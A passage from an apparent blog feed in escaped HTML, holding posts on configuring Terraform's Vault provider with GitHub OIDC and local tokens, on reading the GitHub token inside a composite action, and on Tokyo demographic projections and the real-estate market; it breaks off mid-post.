    &lt;span class=&quot;nx&quot;&gt;role&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;full-access&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;jwt&lt;/span&gt;       &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;github_jwt&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This assumes we have the &lt;a href=&quot;https://developer.hashicorp.com/vault/api-docs/auth/jwt#jwt-oidc-auth-method-api&quot;&gt;jwt backend&lt;/a&gt; configured to trust Github and the JWT is authorized to assume the role named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;full-access&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The jwt is obtained in the Github workflow and passed to terraform like this:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Get Github JWT for terraform&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;GH_JWT=$(curl -H &quot;Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN&quot; &quot;$ACTIONS_ID_TOKEN_REQUEST_URL&quot; | jq -j -c &apos;.value&apos;)&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;echo TF_VAR_github_jwt=$GH_JWT &amp;gt;&amp;gt; $GITHUB_ENV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACTIONS_ID_TOKEN_REQUEST_TOKEN&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACTIONS_ID_TOKEN_REQUEST_URL&lt;/code&gt; are &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#updating-your-actions-for-oidc&quot;&gt;automatically configured&lt;/a&gt; if the workflow has the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id-token: write&lt;/code&gt; &lt;a href=&quot;https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#adding-permissions-settings&quot;&gt;permission&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-local-setup&quot;&gt;The local setup&lt;/h2&gt;

&lt;p&gt;Terraform provides an &lt;a href=&quot;https://registry.terraform.io/providers/hashicorp/vault/latest/docs#oidc&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth_login_oidc&lt;/code&gt; config block&lt;/a&gt;, however it didn’t fit my use case.
We use vault enterprise with namespaces.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oidc&lt;/code&gt; auth provider used for user authentication is configured in the root namespace, but most user only have access to their assigned namespaces (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ns_my_project_dev&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;So I will first run the vault cli to login and obtain a short lived token, then pass that token to terraform:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TF_VAR_vault_dev_token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;VAULT_ADDR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;https://vault-dev.example.com vault login &lt;span class=&quot;nt&quot;&gt;-token-only&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-method&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;oidc &lt;span class=&quot;nt&quot;&gt;-path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;oidc&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The token is then used to configure the terraform provider:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;provider&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_dev_url&lt;/span&gt;
  
  &lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt;            &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_dev_token&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;namespace&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ns_my_project_dev&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;skip_child_token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;skip_child_token&lt;/code&gt; was necessary as I’m not allowed to create child tokens in the root namespace, and the default behavior of terraform is to do just that.&lt;/p&gt;

&lt;p&gt;There is an additional benefit of running vault cli to obtain the token, and then using that to configure the provider instead of using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth_login_oidc&lt;/code&gt; config block in the provider directly: the token grants access to multiple namespaces, and with this setup we can use it for all of them without having to complete the OIDC flow multiple times.&lt;/p&gt;

&lt;h2 id=&quot;putting-it-all-together&quot;&gt;Putting it all together&lt;/h2&gt;

&lt;p&gt;Now that we have the provider config for both use-cases, let’s put it together:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;provider&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;address&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_dev_url&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;dynamic&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;auth_login_jwt&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Github OIDC token is used for auth in the CI&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;for_each&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_dev_token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;content&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ns_my_project_dev&quot;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;mount&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;jwt&quot;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;role&lt;/span&gt;      &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;full-access&quot;&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;jwt&lt;/span&gt;       &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;github_jwt&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt;            &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_dev_token&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Token is used for auth when running locally&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;namespace&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vault_dev_token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ns_my_project_dev&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;skip_child_token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;with the following variables:&lt;/p&gt;

&lt;div class=&quot;language-hcl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;vault_dev_token&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Used when running tf locally&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;default&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;variable&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;github_jwt&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;        &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;string&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Used to authenticate to vault when running tf in CI&quot;&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;default&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Depending on whether the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vault_dev_token&lt;/code&gt; variable is set or not, this setup will result in one of the config  shown earlier.&lt;/p&gt;

&lt;p&gt;Similar tricks with &lt;a href=&quot;https://developer.hashicorp.com/terraform/language/expressions/dynamic-blocks&quot;&gt;dynamic config blocks&lt;/a&gt;, and the use of &lt;a href=&quot;https://developer.hashicorp.com/terraform/language/expressions/types#null&quot;&gt;the null value&lt;/a&gt; should make other setups possible with different auth methods, and likely even with other providers.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Accessing the Github token from a Github action</title>
   <link href="https://szabo.jp/2023/06/18/accessing-the-github-token-from-an-action/"/>
   <updated>2023-06-18T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/06/18/accessing-the-github-token-from-an-action</id>
   <content type="html">&lt;p&gt;For each Github action workflow, Github creates a unique Github token. This can accessed a either via the  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GITHUB_TOKEN&lt;/code&gt; secret (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${{ secrets.GITHUB_TOKEN }}&lt;/code&gt;) or via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github&lt;/code&gt; context (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${{ github.token }}&lt;/code&gt;).
The &lt;a href=&quot;https://docs.github.com/en/actions/security-guides/automatic-token-authentication#using-the-github_token-in-a-workflow&quot;&gt;docs&lt;/a&gt; also note that&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;An action can access the GITHUB_TOKEN through the github.token context even if the workflow does not explicitly pass the GITHUB_TOKEN to the action.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;However the docs fall short of showing how to do it, and it took me a while to figure it out, so I’m sharing it here.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;The solution is to use an input and set its default value to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.token&lt;/code&gt;. In composite actions, one can also use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github&lt;/code&gt; context directly, however it can not be used when passing environment variables in a non-composite action.&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Test&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;github&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;access&apos;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;inputs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;gh-token&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;GitHub&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;PAT&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;used&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;the&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;comment&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;the&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s&quot;&gt;PR&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;${{ github.token }}&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;runs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;using&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;composite&quot;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Get all issues for this repository&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;bash&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;curl -L \&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;-H &quot;Accept: application/vnd.github+json&quot; \&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;-H &quot;Authorization: Bearer ${{ inputs.gh-token }}&quot; \&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;-H &quot;X-GitHub-Api-Version: 2022-11-28&quot; \&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;https://api.github.com/repos/${{ github.repository }}/issues&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See this in action &lt;a href=&quot;https://github.com/markszabo/markszabo.github.io/pull/1&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This also works for other values in the &lt;a href=&quot;https://docs.github.com/en/actions/learn-github-actions/contexts#github-context&quot;&gt;github context&lt;/a&gt; like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.repository&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.sha&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.event_name&lt;/code&gt;, etc.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Thoughts on the future of the real estate market of Tokyo</title>
   <link href="https://szabo.jp/2023/01/15/thoughts-on-the-future-of-the-tokyo-real-estate-market/"/>
   <updated>2023-01-15T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/01/15/thoughts-on-the-future-of-the-tokyo-real-estate-market</id>
   <content type="html">&lt;p&gt;&lt;em&gt;This is a continuation of &lt;a href=&quot;/2023/01/14/thoughts-on-renting-vs-buying-in-tokyo/&quot;&gt;my previous post on buying vs renting in Tokyo&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The future resale price of a property depends on demand: are there going to be people willing and able to purchase it?
Let’s look into the forecasts affecting this.
I will try my best to use official (government) statistics and forecasts, even if these are a few years outdated.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;japan&quot;&gt;Japan&lt;/h1&gt;

&lt;p&gt;The population of Japan is &lt;a href=&quot;https://data.worldbank.org/indicator/SP.POP.TOTL?locations=JP&quot;&gt;declining since 2008&lt;/a&gt;, with the population aging rapidly (&lt;a href=&quot;https://www.stat.go.jp/english/data/handbook/c0117.html#:~:text=The%20number%20of%20elderly,many%20females%20as%20males.&quot;&gt;40% of total private households are elderly households (private households with household members aged 65 years old and over)&lt;/a&gt;).
Moreover the number of households is predicted &lt;a href=&quot;https://www.stat.go.jp/english/data/handbook/c0117.html#:~:text=The%20number%20of%20households%20is%20projected%20to%20peak%20in%202023%20and%20then%20decrease%20thereafter.&quot;&gt;to peak in 2023 and then decline&lt;/a&gt;. (The delay compared to population peak is due to households getting smaller in recent years.)&lt;/p&gt;

&lt;p&gt;Wage growth has been minimal during recent years. 
From &lt;a href=&quot;https://www.mhlw.go.jp/english/database/db-hh/xlsx/1-56.xlsx&quot;&gt;2012 to 2018&lt;/a&gt; the year over year average income per household changed: -1.55%, +2.46%, +0.65%, +2.71%, -1.54%, +0.13%.&lt;/p&gt;

&lt;h1 id=&quot;tokyo&quot;&gt;Tokyo&lt;/h1&gt;

&lt;p&gt;The population of Tokyo is &lt;a href=&quot;https://www.ipss.go.jp/pp-shicyoson/e/shicyoson18/kekkahyo_pref.xlsx&quot;&gt;still growing and expected to peak around 2030&lt;/a&gt;.
The ratio of elderly people (65 year+) is  currently 23%, and it is expected to grow to more than 30% by 2045.
A different, 2019 study titled &lt;a href=&quot;https://www.mhlw.go.jp/english/database/db-hh/xlsx/1-67.xlsx&quot;&gt;“Household Projections for Japan by Prefecture : 2015-2040”&lt;/a&gt; predicts that the number of households within Tokyo will follow a similar trend.&lt;/p&gt;

&lt;p&gt;Predictions from the two studies above:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;2015&lt;/th&gt;
      &lt;th&gt;2020&lt;/th&gt;
      &lt;th&gt;2025&lt;/th&gt;
      &lt;th&gt;2030&lt;/th&gt;
      &lt;th&gt;2035&lt;/th&gt;
      &lt;th&gt;2040&lt;/th&gt;
      &lt;th&gt;2045&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Total population of Tokyo&lt;/td&gt;
      &lt;td&gt;13,515,000&lt;/td&gt;
      &lt;td&gt;13,733,000&lt;/td&gt;
      &lt;td&gt;13,846,000&lt;/td&gt;
      &lt;td&gt;13,883,000&lt;/td&gt;
      &lt;td&gt;13,852,000&lt;/td&gt;
      &lt;td&gt;13,759,000&lt;/td&gt;
      &lt;td&gt;13,607,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Change from 5 year prior&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;+1.61%&lt;/td&gt;
      &lt;td&gt;+0.82%&lt;/td&gt;
      &lt;td&gt;+0.27%&lt;/td&gt;
      &lt;td&gt;-0.22%&lt;/td&gt;
      &lt;td&gt;-0.67%&lt;/td&gt;
      &lt;td&gt;-1.10%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Population over 65&lt;/td&gt;
      &lt;td&gt;3,066,000&lt;/td&gt;
      &lt;td&gt;3,215,000&lt;/td&gt;
      &lt;td&gt;3,272,000&lt;/td&gt;
      &lt;td&gt;3,422,000&lt;/td&gt;
      &lt;td&gt;3,675,000&lt;/td&gt;
      &lt;td&gt;3,996,000&lt;/td&gt;
      &lt;td&gt;4,176,000&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Share of elderly population&lt;/td&gt;
      &lt;td&gt;22.69%&lt;/td&gt;
      &lt;td&gt;23.41%&lt;/td&gt;
      &lt;td&gt;23.63%&lt;/td&gt;
      &lt;td&gt;24.65%&lt;/td&gt;
      &lt;td&gt;26.53%&lt;/td&gt;
      &lt;td&gt;29.04%&lt;/td&gt;
      &lt;td&gt;30.69%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Number of households&lt;/td&gt;
      &lt;td&gt;6,691,000&lt;/td&gt;
      &lt;td&gt;6,922,000&lt;/td&gt;
      &lt;td&gt;7,054,000&lt;/td&gt;
      &lt;td&gt;7,107,000&lt;/td&gt;
      &lt;td&gt;7,097,000&lt;/td&gt;
      &lt;td&gt;7,019,000&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Change from 5 year prior&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;+3.5%&lt;/td&gt;
      &lt;td&gt;+1.9%&lt;/td&gt;
      &lt;td&gt;+0.8%&lt;/td&gt;
      &lt;td&gt;-0.1%&lt;/td&gt;
      &lt;td&gt;-1.1%&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;So the population as well as the number of households in Tokyo is expected to peak in 10 years and then decline, while the population continues to age.
This will very likely put strain on the pension system: lower pension being paid, while the working generation will get taxed higher.
Overall this will likely result in lower buying power for real estate.&lt;/p&gt;

&lt;p&gt;Moreover I’m looking for a family-size home (3-5 rooms), and the need for those will likely decrease faster as the number of young people with families fall.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Side note on prefectures around Tokyo:&lt;/em&gt; the above statistics are concerned only about the prefecture of Tokyo, while many people who work in Tokyo commute from neighboring prefectures like Chiba, Saitama and Kanagawa.
However &lt;a href=&quot;https://www.metro.tokyo.lg.jp/ENGLISH/ABOUT/HISTORY/history03.htm#:~:text=Daytime%20and%20Nighttime%20Population&quot;&gt;the number of commuters outside of Tokyo only accounted for 18% of the population of Tokyo in 2010&lt;/a&gt;, so using Tokyo numbers is likely a good enough approximation for the Greater Tokyo Area.&lt;/p&gt;

&lt;h1 id=&quot;market-in-recent-years&quot;&gt;Market in recent years&lt;/h1&gt;

&lt;p&gt;The property market in Tokyo has been pretty hot in recent years  &lt;a href=&quot;https://asia.nikkei.com/Business/Markets/Property/Tokyo-property-prices-near-bubble-era-levels&quot;&gt;reaching levels last seen during the bubble in the ’90s&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2023-01-15-thoughts-on-the-future-of-the-tokyo-real-estate-market/ApartmentPrice-Line.png#lb&quot; alt=&quot;Tokyo condo prices are approaching 30-year high&quot; /&gt;.&lt;/p&gt;

&lt;h1 id=&quot;an-imf-study-on-the-japanese-real-estate-market&quot;&gt;An IMF study on the Japanese real estate market&lt;/h1&gt;

&lt;p&gt;In 2020 the International Monetary Fund published a study titled &lt;a href=&quot;https://www.elibrary.imf.org/configurable/content/journals$002f001$002f2020$002f200$002farticle-A001-en.xml&quot;&gt;Demographics and the Housing Market: Japan’s Disappearing Cities&lt;/a&gt; on the present and future of the Japanese real estate market.
Below are some of their findings that I found interesting.&lt;/p&gt;

&lt;h2 id=&quot;when-population-falls-house-prices-fall-faster&quot;&gt;When population falls, house prices fall faster&lt;/h2&gt;

&lt;blockquote&gt;
